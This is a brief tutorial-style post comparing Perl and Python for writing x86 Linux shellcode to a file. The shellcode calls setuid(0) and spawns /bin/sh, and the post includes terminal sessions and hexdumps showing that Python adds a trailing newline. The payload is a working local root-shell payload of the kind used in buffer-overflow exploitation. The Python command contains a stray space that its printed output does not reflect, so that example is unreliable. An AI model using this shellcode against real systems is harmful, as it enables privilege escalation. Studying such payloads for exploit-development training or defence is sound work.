What’s the difference between Python and Perl ?
Using perl to write shellcode into a file
[exploit@localhost Overflow]$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > sc
[exploit@localhost Overflow]$ wc -c sc
53 sc
[exploit@localhost Overflow]$ hexdump -C sc
00000000 31 c0 31 db b0 17 cd 80 eb 1f 5e 89 76 08 31 c0 |1.1.......^.v.1.|
00000010 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c |.F..F......N..V.|
00000020 cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 |..1...@......./b|
00000030 69 6e 2f 73 68 |in/sh|
00000035
53 bytes over.
Using python to write shellcode into a file
[exploit@localhost Overflow]$ python -c 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > sc
[exploit@localhost Overflow]$ wc -c sc
54 sc
[exploit@localhost Overflow]$ hexdump -C sc
00000000 31 c0 31 db b0 17 cd 80 eb 1f 5e 89 76 08 31 c0 |1.1.......^.v.1.|
00000010 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c |.F..F......N..V.|
00000020 cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 |..1...@......./b|
00000030 69 6e 2f 73 68 0a |in/sh.|
00000036
54 bytes over.
0x0a is added by python.